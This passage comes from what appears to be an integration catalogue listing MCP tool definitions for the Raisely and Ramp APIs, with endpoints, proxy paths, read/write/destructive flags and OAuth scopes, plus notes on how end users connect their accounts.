(otherwise known as a regular donation) in Raisely. External applications may use this endpoint to import regular donations created offline into Raisely, as long as you have tokenised card details in Stripe. POST /v3/subscriptions POST /api/v1/raisely/subscriptions. Scopes: api. raisely_post_tags_by_uuid_records (write) — Assigns the provided tag to the specified records. POST /v3/tags/{uuid}/records POST /api/v1/raisely/tags/{uuid}/records. Scopes: api. raisely_post_users (write) — Create a new **user**. POST /v3/users POST /api/v1/raisely/users. Scopes: api. raisely_post_users_upsert (write) — Upsert a user record, optionally tagging and creating an interaction. Useful for accepting form submissions. Requires a campaign UUID to be provided as a query parameter. POST /v3/users/upsert POST /api/v1/raisely/users/upsert. Scopes: api. raisely_post_webhooks (write) — Add a new webhook to your Raisely account. By default, this webhook will trigger for events across all campaigns in your Raisely account. Specify a `campaignUuid` if you'd like to restrict it to one campaign. POST /v3/webhooks POST /api/v1/raisely/webhooks. Scopes: api. ================================================================================ ## Ramp URL: https://www.agenticfabriq.com/integrations/ramp Section: Integrated Tools Ramp — 244 MCP tools Provider key: ramp. Scopes: accounting:read, accounting:write, ai_spend:read, applications:read, audit_logs:read, bank_accounts:read, bills:read, bills:write, blank_canvas:write, business:read, cards:read, cards:read_vault, cards:write, cashbacks:read, custom_forms:read, custom_records:read, custom_records:write, departments:read, departments:write, embedded_cards:write, entities:read, funds:read, funds:write, item_receipts:read, item_receipts:write, limits:write, locations:read, locations:write, memos:read, memos:write, merchants:read, purchase_orders:read, purchase_orders:write, receipt_integrations:read, receipt_integrations:write, receipts:read, reimbursements:read, reimbursements:write, repayments:read, spend_programs:read, spend_programs:write, statements:read, transactions:read, transactions:write, transfers:read, treasury:read, trips:read, unified_requests:read, users:read, users:write, vendors:read, vendors:write. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. ramp_delete_developer_v1_accounting_accounts_by_gl_account_id (write, destructive) — Delete gl account resource via DELETE /developer/v1/accounting/accounts/{gl_account_id} DELETE /api/v1/ramp/developer/v1/accounting/accounts/{gl_account_id}. Scopes: accounting:write. ramp_delete_developer_v1_accounting_connection (write, destructive) — Delete accounting connection resource via DELETE /developer/v1/accounting/connection DELETE /api/v1/ramp/developer/v1/accounting/connection. Scopes: accounting:write. ramp_delete_developer_v1_accounting_field_option_filter_rules (write, destructive) — Delete field option filter rules list resource via DELETE /developer/v1/accounting/field-option-filter-rules DELETE /api/v1/ramp/developer/v1/accounting/field-option-filter-rules. Scopes: accounting:write. ramp_delete_developer_v1_accounting_field_options_by_field_option_id (write, destructive) — Delete custom field option resource via DELETE /developer/v1/accounting/field-options/{field_option_id} DELETE /api/v1/ramp/developer/v1/accounting/field-options/{field_option_id}. Scopes: accounting:write. ramp_delete_developer_v1_accounting_fields_by_field_id (write, destructive) — Delete custom field resource via DELETE /developer/v1/accounting/fields/{field_id} DELETE /api/v1/ramp/developer/v1/accounting/fields/{field_id}. Scopes: accounting:write. ramp_delete_developer_v1_accounting_inventory_item (write, destructive) — Delete inventory item field list resource via DELETE /developer/v1/accounting/inventory-item DELETE /api/v1/ramp/developer/v1/accounting/inventory-item. Scopes: accounting:write. ramp_delete_developer_v1_accounting_inventory_item_options_by_option_id (write, destructive) — Delete inventory item field option resource via DELETE /developer/v1/accounting/inventory-item/options/{option_id} DELETE /api/v1/ramp/developer/v1/accounting/inventory-item/options/{option_id}. Scopes: accounting:write. ramp_delete_developer_v1_accounting_ramp_field_options_by_field_option_id (write, destructive) — Delete ramp field option resource via DELETE /developer/v1/accounting/ramp-field-options/{field_option_id} DELETE /api/v1/ramp/developer/v1/accounting/ramp-field-options/{field_option_id}. Scopes: accounting:write. ramp_delete_developer_v1_accounting_ramp_fields_by_field_id (write, destructive) — Delete ramp field resource via DELETE /developer/v1/accounting/ramp-fields/{field_id} DELETE /api/v1/ramp/developer/v1/accounting/ramp-fields/{field_id}. Scopes: accounting:write. ramp_delete_developer_v1_accounting_tax_code (write, destructive) — Delete tax code field resource via DELETE /developer/v1/accounting/tax/code DELETE /api/v1/ramp/developer/v1/accounting/tax/code. Scopes: accounting:write. ramp_delete_developer_v1_accounting_tax_code_options_by_option_id (write, destructive) — Delete tax code field option resource via DELETE /developer/v1/accounting/tax/code/options/{option_id} DELETE /api/v1/ramp/developer/v1/accounting/tax/code/options/{option_id}. Scopes: accounting:write. ramp_delete_developer_v1_accounting_tax_rates_by_tax_rate_id (write, destructive) — Delete tax rate detail resource via DELETE /developer/v1/accounting/tax/rates/{tax_rate_id} DELETE /api/v1/ramp/developer/v1/accounting/tax/rates/{tax_rate_id}. Scopes: accounting:write. ramp_delete_developer_v1_accounting_vendors_by_vendor_id (write, destructive) — Delete accounting vendor resource via DELETE /developer/v1/accounting/vendors/{vendor_id} DELETE /api/v1/ramp/developer/v1/accounting/vendors/{vendor_id}. Scopes: accounting:write. ramp_delete_developer_v1_bills_by_bill_id (write, destructive) — Delete bill resource via DELETE /developer/v1/bills/{bill_id} DELETE /api/v1/ramp/developer/v1/bills/{bill_id}. Scopes: bills:write. ramp_delete_developer_v1_cards_physical_by_card_id (write, destructive) — Delete card termination resource via DELETE /developer/v1/cards/physical/{card_id} DELETE /api/v1/ramp/developer/v1/cards/physical/{card_id}. Scopes: cards:write. ramp_delete_developer_v1_cards_physical_by_card_id_suspension (write, destructive) — Delete card unsuspension resource via DELETE /developer/v1/cards/physical/{card_id}/suspension DELETE /api/v1/ramp/developer/v1/cards/physical/{card_id}/suspension. Scopes: cards:write. ramp_delete_developer_v1_custom_records_custom_tables_by_custom_table_name_rows (write, destructive) — Delete dev api custom row via DELETE /developer/v1/custom-records/custom-tables/{custom_table_name}/rows DELETE /api/v1/ramp/developer/v1/custom-records/custom-tables/{custom_table_name}/rows. Scopes: custom_records:write. ramp_delete_developer_v1_custom_records_matrix_tables_by_table_name_rows_by_row_id (write, destructive) — Delete dev api delete matrix row via DELETE /developer/v1/custom-records/matrix-tables/{table_name}/rows/{row_id} DELETE /api/v1/ramp/developer/v1/custom-records/matrix-tables/{table_name}/rows/{row_id}. Scopes: custom_records:write. ramp_delete_developer_v1_funds_by_fund_id (write, destructive) — Delete fund termination via DELETE /developer/v1/funds/{fund_id} DELETE /api/v1/ramp/developer/v1/funds/{fund_id}. Scopes: funds:write. ramp_delete_developer_v1_funds_by_fund_id_members (write, destructive) — Delete fund remove members via DELETE /developer/v1/funds/{fund_id}/members DELETE /api/v1/ramp/developer/v1/funds/{fund_id}/members. Scopes: funds:write. ramp_delete_developer_v1_funds_by_fund_id_members_by_user_id_suspension (write, destructive) — Delete fund member unsuspension via DELETE /developer/v1/funds/{fund_id}/members/{user_id}/suspension DELETE /api/v1/ramp/developer/v1/funds/{fund_id}/members/{user_id}/suspension. Scopes: funds:write. ramp_delete_developer_v1_funds_by_fund_id_suspension (write, destructive) — Delete fund unsuspension via DELETE /developer/v1/funds/{fund_id}/suspension DELETE /api/v1/ramp/developer/v1/funds/{fund_id}/suspension. Scopes: funds:write. ramp_delete_developer_v1_item_receipts_by_item_receipt_id (write, destructive) — Delete item receipt single resource via DELETE /developer/v1/item-receipts/{item_receipt_id} DELETE /api/v1/ramp/developer/v1/item-receipts/{item_receipt_id}. Scopes: item_receipts:write. ramp_delete_developer_v1_purchase_orders_by_purchase_order_id_line_items_by_line_item_id (write, destructive) — Delete purchase order line item single resource via DELETE /developer/v1/purchase-orders/{purchase_order_id}/line-items/{line_item_id} DELETE /api/v1/ramp/developer/v1/purchase-orders/{purchase_order_id}/line-items/{line_item_id}. Scopes: purchase_orders:write. ramp_delete_developer_v1_receipt_integrations_opt_out_by_mailbox_opted_out_email_uuid (write, destructive) — Delete receipt integration opted out emails delete resource via DELETE /developer/v1/receipt-integrations/opt-out/{mailbox_opted_out_email_uuid} DELETE /api/v1/ramp/developer/v1/receipt-integrations/opt-out/{mailbox_opted_out_email_uuid}. Scopes: receipt_integrations:write. ramp_delete_developer_v1_vendors_agreements_by_agreement_id (write, destructive) — Delete vendor agreement resource via DELETE /developer/v1/vendors/agreements/{agreement_id} DELETE /api/v1/ramp/developer/v1/vendors/agreements/{agreement_id}. Scopes: vendors:write. ramp_delete_developer_v1_vendors_agreements_by_agreement_id_unlink (write, destructive) — Delete vendor agreement unlink resource via DELETE /developer/v1/vendors/agreements/{agreement_id}/unlink DELETE /api/v1/ramp/developer/v1/vendors/agreements/{agreement_id}/unlink. Scopes: vendors:write. ramp_delete_developer_v1_vendors_by_vendor_id (write, destructive) — Delete vendor resource via DELETE /developer/v1/vendors/{vendor_id} DELETE /api/v1/ramp/developer/v1/vendors/{vendor_id}. Scopes: vendors:write. ramp_delete_developer_v1_webhooks_by_webhook_id (write, destructive) — Delete outbound webhook subscription detail resource via DELETE /developer/v1/webhooks/{webhook_id} DELETE /api/v1/ramp/developer/v1/webhooks/{webhook_id}. Scopes: none. ramp_get_developer_v1_accounting_accounts (read) — Get gl account list resource via GET /developer/v1/accounting/accounts GET /api/v1/ramp/developer/v1/accounting/accounts. Scopes: accounting:read. ramp_get_developer_v1_accounting_accounts_by_gl_account_id (read) — Get gl account resource via GET /developer/v1/accounting/accounts/{gl_account_id} GET /api/v1/ramp/developer/v1/accounting/accounts/{gl_account_id}. Scopes: accounting:read. ramp_get_developer_v1_accounting_all_connections (read) — Get accounting all connections resource via GET /developer/v1/accounting/all-connections GET /api/v1/ramp/developer/v1/accounting/all-connections. Scopes: accounting:read. ramp_get_developer_v1_accounting_connection (read) — Get accounting current connection resource deprecated via GET /developer/v1/accounting/connection GET /api/v1/ramp/developer/v1/accounting/connection. Scopes: accounting:read. ramp_get_developer_v1_accounting_connection_by_connection_id (read) — Get accounting connection detail resource via GET /developer/v1/accounting/connection/{connection_id} GET /api/v1/ramp/developer/v1/accounting/connection/{connection_id}. Scopes: accounting:read. ramp_get_developer_v1_accounting_field_option_filter_rules (read) — Get field option filter rules list resource via GET /developer/v1/accounting/field-option-filter-rules GET /api/v1/ramp/developer/v1/accounting/field-option-filter-rules. Scopes: accounting:read. ramp_get_developer_v1_accounting_field_options (read) — Get custom field option list resource via GET /developer/v1/accounting/field-options GET /api/v1/ramp/developer/v1/accounting/field-options. Scopes: accounting:read. ramp_get_developer_v1_accounting_field_options_by_field_option_id (read) — Get custom field option resource via GET /developer/v1/accounting/field-options/{field_option_id} GET /api/v1/ramp/developer/v1/accounting/field-options/{field_option_id}. Scopes: accounting:read. ramp_get_developer_v1_accounting_fields (read) — Get custom field list resource via GET /developer/v1/accounting/fields GET /api/v1/ramp/developer/v1/accounting/fields. Scopes: accounting:read. ramp_get_developer_v1_accounting_fields_by_field_id (read) — Get custom field resource via GET /developer/v1/accounting/fields/{field_id} GET /api/v1/ramp/developer/v1/accounting/fields/{field_id}. Scopes: accounting:read. ramp_get_developer_v1_accounting_inventory_item (read) — Get inventory item field list resource via GET /developer/v1/accounting/inventory-item GET /api/v1/ramp/developer/v1/accounting/inventory-item. Scopes: accounting:read. ramp_get_developer_v1_accounting_inventory_item_options (read) — Get inventory item field options list resource via GET /developer/v1/accounting/inventory-item/options GET /api/v1/ramp/developer/v1/accounting/inventory-item/options. Scopes: accounting:read. ramp_get_developer_v1_accounting_ramp_fields (read) — Get ramp field list resource via GET /developer/v1/accounting/ramp-fields GET /api/v1/ramp/developer/v1/accounting/ramp-fields. Scopes: accounting:read. ramp_get_developer_v1_accounting_ramp_fields_by_field_id (read) — Get ramp field resource via GET /developer/v1/accounting/ramp-fields/{field_id} GET /api/v1/ramp/developer/v1/accounting/ramp-fields/{field_id}. Scopes: accounting:read. ramp_get_developer_v1_accounting_tax_code (read) — Get tax code field resource via GET /developer/v1/accounting/tax/code GET /api/v1/ramp/developer/v1/accounting/tax/code. Scopes: accounting:read. ramp_get_developer_v1_accounting_tax_code_options (read) — Get tax code field options list resource via GET /developer/v1/accounting/tax/code/options GET /api/v1/ramp/developer/v1/accounting/tax/code/options. Scopes: accounting:read. ramp_get_developer_v1_accounting_tax_rates (read) — Get tax code rates list resource via GET /developer/v1/accounting/tax/rates GET /api/v1/ramp/developer/v1/accounting/tax/rates. Scopes: accounting:read. ramp_get_developer_v1_accounting_vendors (read) — Get accounting vendor list resource via GET /developer/v1/accounting/vendors GET /api/v1/ramp/developer/v1/accounting/vendors. Scopes: accounting:read. ramp_get_developer_v1_accounting_vendors_by_vendor_id (read) — Get accounting vendor resource via GET /developer/v1/accounting/vendors/{vendor_id} GET /api/v1/ramp/developer/v1/accounting/vendors/{vendor_id}. Scopes: accounting:read. ramp_get_developer_v1_ai_spend_api_keys (read) — Get ai spend api key list resource via GET /developer/v1/ai-spend/api-keys GET /api/v1/ramp/developer/v1/ai-spend/api-keys. Scopes: ai_spend:read. ramp_get_developer_v1_ai_spend_team (read) — Get ai spend team list resource via GET /developer/v1/ai-spend/team GET /api/v1/ramp/developer/v1/ai-spend/team. Scopes: ai_spend:read. ramp_get_developer_v1_ai_spend_usage (read) — Get ai spend usage list resource via GET /developer/v1/ai-spend/usage GET /api/v1/ramp/developer/v1/ai-spend/usage. Scopes: ai_spend:read. ramp_get_developer_v1_applications (read) — Get application resource via GET /developer/v1/applications GET /api/v1/ramp/developer/v1/applications. Scopes: applications:read. ramp_get_developer_v1_audit_logs_events (read) — Get audit log events list resource via GET /developer/v1/audit-logs/events GET /api/v1/ramp/developer/v1/audit-logs/events. Scopes: audit_logs:read. ramp_get_developer_v1_bank_accounts (read) — Get bank account list with pagination via GET /developer/v1/bank-accounts GET /api/v1/ramp/developer/v1/bank-accounts. Scopes: bank_accounts:read. ramp_get_developer_v1_bank_accounts_by_bank_account_id (read) — Get bank account resource via GET /developer/v1/bank-accounts/{bank_account_id} GET /api/v1/ramp/developer/v1/bank-accounts/{bank_account_id}. Scopes: bank_accounts:read. ramp_get_developer_v1_banking_accounts (read) — Get treasury accounts list resource via GET /developer/v1/banking/accounts GET /api/v1/ramp/developer/v1/banking/accounts. Scopes: treasury:read. ramp_get_developer_v1_banking_accounts_by_account_id_balance_history (read) — Get treasury account balance history resource via GET /developer/v1/banking/accounts/{account_id}/balance-history GET /api/v1/ramp/developer/v1/banking/accounts/{account_id}/balance-history. Scopes: treasury:read. ramp_get_developer_v1_banking_syncable_transactions (read) — Get treasury transactions resource via GET /developer/v1/banking/syncable-transactions GET /api/v1/ramp/developer/v1/banking/syncable-transactions. Scopes: treasury:read. ramp_get_developer_v1_bills (read) — Get bill list with pagination via GET /developer/v1/bills GET /api/v1/ramp/developer/v1/bills. Scopes: bills:read. ramp_get_developer_v1_bills_by_bill_id (read) — Get bill resource via GET /developer/v1/bills/{bill_id} GET /api/v1/ramp/developer/v1/bills/{bill_id}. Scopes: bills:read. ramp_get_developer_v1_bills_drafts (read) — Get draft bill list with pagination via GET /developer/v1/bills/drafts GET /api/v1/ramp/developer/v1/bills/drafts. Scopes: bills:read. ramp_get_developer_v1_bills_drafts_by_draft_bill_id (read) — Get draft bill resource via GET /developer/v1/bills/drafts/{draft_bill_id} GET /api/v1/ramp/developer/v1/bills/drafts/{draft_bill_id}. Scopes: bills:read. ramp_get_developer_v1_business (read) — Get business resource via GET /developer/v1/business GET /api/v1/ramp/developer/v1/business. Scopes: business:read. ramp_get_developer_v1_business_balance (read) — Get business balance resource via GET /developer/v1/business/balance GET /api/v1/ramp/developer/v1/business/balance. Scopes: business:read. ramp_get_developer_v1_cards_physical (read) — Get physical card list with pagination via GET /developer/v1/cards/physical GET /api/v1/ramp/developer/v1/cards/physical. Scopes: cards:read. ramp_get_developer_v1_cards_physical_by_card_id (read) — Get physical card resource via GET /developer/v1/cards/physical/{card_id} GET /api/v1/ramp/developer/v1/cards/physical/{card_id}. Scopes: cards:read. ramp_get_developer_v1_cards_vault_by_card_id (read) — Get card vault resource via GET /developer/v1/cards/vault/{card_id} GET /api/v1/ramp/developer/v1/cards/vault/{card_id}. Scopes: cards:read_vault. ramp_get_developer_v1_cards_virtual (read) — Get virtual card list with pagination via GET /developer/v1/cards/virtual GET /api/v1/ramp/developer/v1/cards/virtual. Scopes: cards:read. ramp_get_developer_v1_cards_virtual_by_card_id (read) — Get virtual card resource via GET /developer/v1/cards/virtual/{card_id} GET /api/v1/ramp/developer/v1/cards/virtual/{card_id}. Scopes: cards:read. ramp_get_developer_v1_cashbacks (read) — Get cashback list with pagination via GET /developer/v1/cashbacks GET /api/v1/ramp/developer/v1/cashbacks. Scopes: cashbacks:read. ramp_get_developer_v1_cashbacks_by_cashback_id (read) — Get cashback resource via GET /developer/v1/cashbacks/{cashback_id} GET /api/v1/ramp/developer/v1/cashbacks/{cashback_id}. Scopes: cashbacks:read. ramp_get_developer_v1_comments_by_object_type_by_object_id (read) — Get comments resource via GET /developer/v1/comments/{object_type}/{object_id} GET /api/v1/ramp/developer/v1/comments/{object_type}/{object_id}. Scopes: none. ramp_get_developer_v1_custom_form_collections_responses_by_custom_form_collection_response_id (read) — Get custom form collection response resource via GET /developer/v1/custom-form/collections/responses/{custom_form_collection_response_id} GET /api/v1/ramp/developer/v1/custom-form/collections/responses/{custom_form_collection_response_id}. Scopes: custom_forms:read. ramp_get_developer_v1_custom_records_custom_tables (read) — Get dev api custom table via GET /developer/v1/custom-records/custom-tables GET /api/v1/ramp/developer/v1/custom-records/custom-tables. Scopes: custom_records:read. ramp_get_developer_v1_custom_records_custom_tables_by_custom_table_name_columns (read) — Get dev api custom table column via GET /developer/v1/custom-records/custom-tables/{custom_table_name}/columns GET /api/v1/ramp/developer/v1/custom-records/custom-tables/{custom_table_name}/columns. Scopes: custom_records:read. ramp_get_developer_v1_custom_records_custom_tables_by_custom_table_name_rows (read) — Get dev api custom row via GET /developer/v1/custom-records/custom-tables/{custom_table_name}/rows GET /api/v1/ramp/developer/v1/custom-records/custom-tables/{custom_table_name}/rows. Scopes: custom_records:read. ramp_get_developer_v1_custom_records_matrix_tables (read) — Get dev api matrix tables via GET /developer/v1/custom-records/matrix-tables GET /api/v1/ramp/developer/v1/custom-records/matrix-tables. Scopes: custom_records:read. ramp_get_developer_v1_custom_records_native_tables (read) — Get dev api native table via GET /developer/v1/custom-records/native-tables GET /api/v1/ramp/developer/v1/custom-records/native-tables. Scopes: custom_records:read. ramp_get_developer_v1_custom_records_native_tables_by_native_table_name_columns (read) — Get dev api native table column via GET /developer/v1/custom-records/native-tables/{native_table_name}/columns GET /api/v1/ramp/developer/v1/custom-records/native-tables/{native_table_name}/columns. Scopes: custom_records:read. ramp_get_developer_v1_custom_records_native_tables_by_native_table_name_rows (read) — Get dev api native row via GET /developer/v1/custom-records/native-tables/{native_table_name}/rows GET /api/v1/ramp/developer/v1/custom-records/native-tables/{native_table_name}/rows. Scopes: custom_records:read. ramp_get_developer_v1_departments (read) — Get department list with pagination via GET /developer/v1/departments GET /api/v1/ramp/developer/v1/departments. Scopes: departments:read. ramp_get_developer_v1_departments_by_department_id (read) — Get department resource via GET /developer/v1/departments/{department_id} GET /api/v1/ramp/developer/v1/departments/{department_id}. Scopes: departments:read. ramp_get_developer_v1_entities (read) — Get entity list with pagination via GET /developer/v1/entities GET /api/v1/ramp/developer/v1/entities. Scopes: entities:read. ramp_get_developer_v1_entities_by_entity_id (read) — Get entity resource via GET /developer/v1/entities/{entity_id} GET /api/v1/ramp/developer/v1/entities/{entity_id}. Scopes: entities:read. ramp_get_developer_v1_funds (read) — Get fund list via GET /developer/v1/funds GET /api/v1/ramp/developer/v1/funds. Scopes: funds:read. ramp_get_developer_v1_funds_by_fund_id (read) — Get fund resource via GET /developer/v1/funds/{fund_id} GET /api/v1/ramp/developer/v1/funds/{fund_id}. Scopes: funds:read. ramp_get_developer_v1_item_receipts (read) — Get item receipts resource via GET /developer/v1/item-receipts GET /api/v1/ramp/developer/v1/item-receipts. Scopes: item_receipts:read. ramp_get_developer_v1_item_receipts_by_item_receipt_id (read) — Get item receipt single resource via GET /developer/v1/item-receipts/{item_receipt_id} GET /api/v1/ramp/developer/v1/item-receipts/{item_receipt_id}. Scopes: item_receipts:read. ramp_get_developer_v1_locations (read) — Get location list resource via GET /developer/v1/locations GET /api/v1/ramp/developer/v1/locations. Scopes: locations:read. ramp_get_developer_v1_locations_by_location_id (read) — Get location single resource via GET /developer/v1/locations/{location_id} GET /api/v1/ramp/developer/v1/locations/{location_id}. Scopes: locations:read. ramp_get_developer_v1_memos (read) — Get memo list with pagination via GET /developer/v1/memos GET /api/v1/ramp/developer/v1/memos. Scopes: memos:read. ramp_get_developer_v1_memos_by_transaction_id (read) — Get memo single resource via GET /developer/v1/memos/{transaction_id} GET /api/v1/ramp/developer/v1/memos/{transaction_id}. Scopes: memos:read. ramp_get_developer_v1_merchants (read) — Get merchant list with pagination via GET /developer/v1/merchants GET /api/v1/ramp/developer/v1/merchants. Scopes: merchants:read. ramp_get_developer_v1_purchase_orders (read) — Get purchase orders resource via GET /developer/v1/purchase-orders GET /api/v1/ramp/developer/v1/purchase-orders. Scopes: purchase_orders:read. ramp_get_developer_v1_purchase_orders_by_purchase_order_id (read) — Get purchase order single resource via GET /developer/v1/purchase-orders/{purchase_order_id} GET /api/v1/ramp/developer/v1/purchase-orders/{purchase_order_id}. Scopes: purchase_orders:read. ramp_get_developer_v1_receipt_integrations_opt_out (read) — Get receipt integration opted out emails list resource via GET /developer/v1/receipt-integrations/opt-out GET /api/v1/ramp/developer/v1/receipt-integrations/opt-out. Scopes: receipt_integrations:read. ramp_get_developer_v1_receipts (read) — Get receipt list via GET /developer/v1/receipts GET /api/v1/ramp/developer/v1/receipts. Scopes: receipts:read. ramp_get_developer_v1_receipts_by_receipt_id (read) — Get receipt single resource via GET /developer/v1/receipts/{receipt_id} GET /api/v1/ramp/developer/v1/receipts/{receipt_id}. Scopes: receipts:read. ramp_get_developer_v1_reimbursements (read) — Get reimbursement list with pagination via GET /developer/v1/reimbursements GET /api/v1/ramp/developer/v1/reimbursements. Scopes: reimbursements:read. ramp_get_developer_v1_reimbursements_by_reimbursement_id (read) — Get reimbursement resource via GET /developer/v1/reimbursements/{reimbursement_id} GET /api/v1/ramp/developer/v1/reimbursements/{reimbursement_id}. Scopes: reimbursements:read. ramp_get_developer_v1_repayments (read) — Get repayment list with pagination via GET /developer/v1/repayments GET /api/v1/ramp/developer/v1/repayments. Scopes: repayments:read. ramp_get_developer_v1_roles (read) — Get roles resource via GET /developer/v1/roles GET /api/v1/ramp/developer/v1/roles. Scopes: users:read. ramp_get_developer_v1_spend_programs (read) — Get spend program resource via GET /developer/v1/spend-programs GET /api/v1/ramp/developer/v1/spend-programs. Scopes: spend_programs:read. ramp_get_developer_v1_spend_programs_by_spend_program_id (read) — Get spend program single resource via GET /developer/v1/spend-programs/{spend_program_id} GET /api/v1/ramp/developer/v1/spend-programs/{spend_program_id}. Scopes: spend_programs:read. ramp_get_developer_v1_spend_programs_by_spend_program_id_workflow_nodes (read) — Get spend program workflow nodes resource via GET /developer/v1/spend-programs/{spend_program_id}/workflow-nodes GET /api/v1/ramp/developer/v1/spend-programs/{spend_program_id}/workflow-nodes. Scopes: spend_programs:read. ramp_get_developer_v1_statements (read) — Get statement list with pagination via GET /developer/v1/statements GET /api/v1/ramp/developer/v1/statements. Scopes: statements:read. ramp_get_developer_v1_statements_by_statement_id (read) — Get statement resource via GET /developer/v1/statements/{statement_id} GET /api/v1/ramp/developer/v1/statements/{statement_id}. Scopes: statements:read. ramp_get_developer_v1_transactions (read) — Get transactions canonical list with pagination via GET /developer/v1/transactions GET /api/v1/ramp/developer/v1/transactions. Scopes: transactions:read. ramp_get_developer_v1_transactions_by_transaction_id (read) — Get transaction canonical resource via GET /developer/v1/transactions/{transaction_id} GET /api/v1/ramp/developer/v1/transactions/{transaction_id}. Scopes: transactions:read. ramp_get_developer_v1_transfers (read) — Get transfer list with pagination via GET /developer/v1/transfers GET /api/v1/ramp/developer/v1/transfers. Scopes: transfers:read. ramp_get_developer_v1_transfers_by_transfer_id (read) — Get transfer resource via GET /developer/v1/transfers/{transfer_id} GET /api/v1/ramp/developer/v1/transfers/{transfer_id}. Scopes: transfers:read. ramp_get_developer_v1_trips (read) — Get trip list resource via GET /developer/v1/trips GET /api/v1/ramp/developer/v1/trips. Scopes: trips:read. ramp_get_developer_v1_trips_by_trip_id (read) — Get trip single resource via GET /developer/v1/trips/{trip_id} GET /api/v1/ramp/developer/v1/trips/{trip_id}. Scopes: trips:read. ramp_get_developer_v1_unified_requests (read) — Get unified request list with pagination via GET /developer/v1/unified-requests GET /api/v1/ramp/developer/v1/unified-requests. Scopes: unified_requests:read. ramp_get_developer_v1_unified_requests_by_unified_request_id (read) — Get unified request detail resource via GET /developer/v1/unified-requests/{unified_request_id} GET /api/v1/ramp/developer/v1/unified-requests/{unified_request_id}. Scopes: unified_requests:read. ramp_get_developer_v1_users (read) — Get user list with pagination via GET /developer/v1/users GET /api/v1/ramp/developer/v1/users. Scopes: users:read. ramp_get_developer_v1_users_by_user_id (read) — Get user resource via GET /developer/v1/users/{user_id} GET /api/v1/ramp/developer/v1/users/{user_id}. Scopes: users:read. ramp_get_developer_v1_users_deferred_status_by_task_id (read) — Get user deferred task resource via GET /developer/v1/users/deferred/status/{task_id} GET /api/v1/ramp/developer/v1/users/deferred/status/{task_id}. Scopes: users:write. ramp_get_developer_v1_vault_cards_by_card_id (read) — Get card vault resource deprecated via GET /developer/v1/vault/cards/{card_id} GET /api/v1/ramp/developer/v1/vault/cards/{card_id}. Scopes: cards:read_vault. ramp_get_developer_v1_vendors (read) — Get vendor list resource via GET /developer/v1/vendors GET /api/v1/ramp/developer/v1/vendors. Scopes: vendors:read. ramp_get_developer_v1_vendors_agreements_by_agreement_id (read) — Get vendor agreement resource via GET /developer/v1/vendors/agreements/{agreement_id} GET /api/v1/ramp/developer/v1/vendors/agreements/{agreement_id}. Scopes: vendors:read. ramp_get_developer_v1_vendors_by_vendor_id (read) — Get vendor resource via GET /developer/v1/vendors/{vendor_id} GET /api/v1/ramp/developer/v1/vendors/{vendor_id}. Scopes: vendors:read. ramp_get_developer_v1_vendors_by_vendor_id_accounts (read) — Get vendor bank account list resource via GET /developer/v1/vendors/{vendor_id}/accounts GET /api/v1/ramp/developer/v1/vendors/{vendor_id}/accounts. Scopes: vendors:read. ramp_get_developer_v1_vendors_by_vendor_id_accounts_by_bank_account_id (read) — Get vendor bank account resource via GET /developer/v1/vendors/{vendor_id}/accounts/{bank_account_id} GET /api/v1/ramp/developer/v1/vendors/{vendor_id}/accounts/{bank_account_id}. Scopes: vendors:read. ramp_get_developer_v1_vendors_by_vendor_id_children (read) — Get vendor children list resource via GET /developer/v1/vendors/{vendor_id}/children GET /api/v1/ramp/developer/v1/vendors/{vendor_id}/children. Scopes: vendors:read. ramp_get_developer_v1_vendors_by_vendor_id_contacts (read) — Get vendor contact list resource via GET /developer/v1/vendors/{vendor_id}/contacts GET /api/v1/ramp/developer/v1/vendors/{vendor_id}/contacts. Scopes: vendors:read. ramp_get_developer_v1_vendors_by_vendor_id_contacts_by_vendor_contact_id (read) — Get vendor contact resource via GET /developer/v1/vendors/{vendor_id}/contacts/{vendor_contact_id} GET /api/v1/ramp/developer/v1/vendors/{vendor_id}/contacts/{vendor_contact_id}. Scopes: vendors:read. ramp_get_developer_v1_vendors_by_vendor_id_credits (read) — Get vendor credits list via GET /developer/v1/vendors/{vendor_id}/credits GET /api/v1/ramp/developer/v1/vendors/{vendor_id}/credits. Scopes: vendors:read. ramp_get_developer_v1_vendors_credits (read) — Get all vendor credits list via GET /developer/v1/vendors/credits GET /api/v1/ramp/developer/v1/vendors/credits. Scopes: vendors:read. ramp_get_developer_v1_vendors_credits_by_vendor_credit_id (read) — Get vendor credit detail via GET /developer/v1/vendors/credits/{vendor_credit_id} GET /api/v1/ramp/developer/v1/vendors/credits/{vendor_credit_id}. Scopes: vendors:read. ramp_get_developer_v1_webhooks (read) — Get outbound webhook subscription resource via GET /developer/v1/webhooks GET /api/v1/ramp/developer/v1/webhooks. Scopes: none. ramp_get_developer_v1_webhooks_by_webhook_id (read) — Get outbound webhook subscription detail resource via GET /developer/v1/webhooks/{webhook_id} GET /api/v1/ramp/developer/v1/webhooks/{webhook_id}. Scopes: none. ramp_patch_developer_v1_accounting_accounts_by_gl_account_id (write) — Patch gl account resource via PATCH /developer/v1/accounting/accounts/{gl_account_id} PATCH /api/v1/ramp/developer/v1/accounting/accounts/{gl_account_id}. Scopes: accounting:write. ramp_patch_developer_v1_accounting_connection_by_connection_id (write) — Patch accounting connection detail resource via PATCH /developer/v1/accounting/connection/{connection_id} PATCH /api/v1/ramp/developer/v1/accounting/connection/{connection_id}. Scopes: accounting:write. ramp_patch_developer_v1_accounting_field_options_by_field_option_id (write) — Patch custom field option resource via PATCH /developer/v1/accounting/field-options/{field_option_id} PATCH /api/v1/ramp/developer/v1/accounting/field-options/{field_option_id}. Scopes: accounting:write. ramp_patch_developer_v1_accounting_fields_by_field_id (write) — Patch custom field resource via PATCH /developer/v1/accounting/fields/{field_id} PATCH /api/v1/ramp/developer/v1/accounting/fields/{field_id}. Scopes: accounting:write. ramp_patch_developer_v1_accounting_inventory_item (write) — Patch inventory item field list resource via PATCH /developer/v1/accounting/inventory-item PATCH /api/v1/ramp/developer/v1/accounting/inventory-item. Scopes: accounting:write. ramp_patch_developer_v1_accounting_inventory_item_options_by_option_id (write) — Patch inventory item field option resource via PATCH /developer/v1/accounting/inventory-item/options/{option_id} PATCH 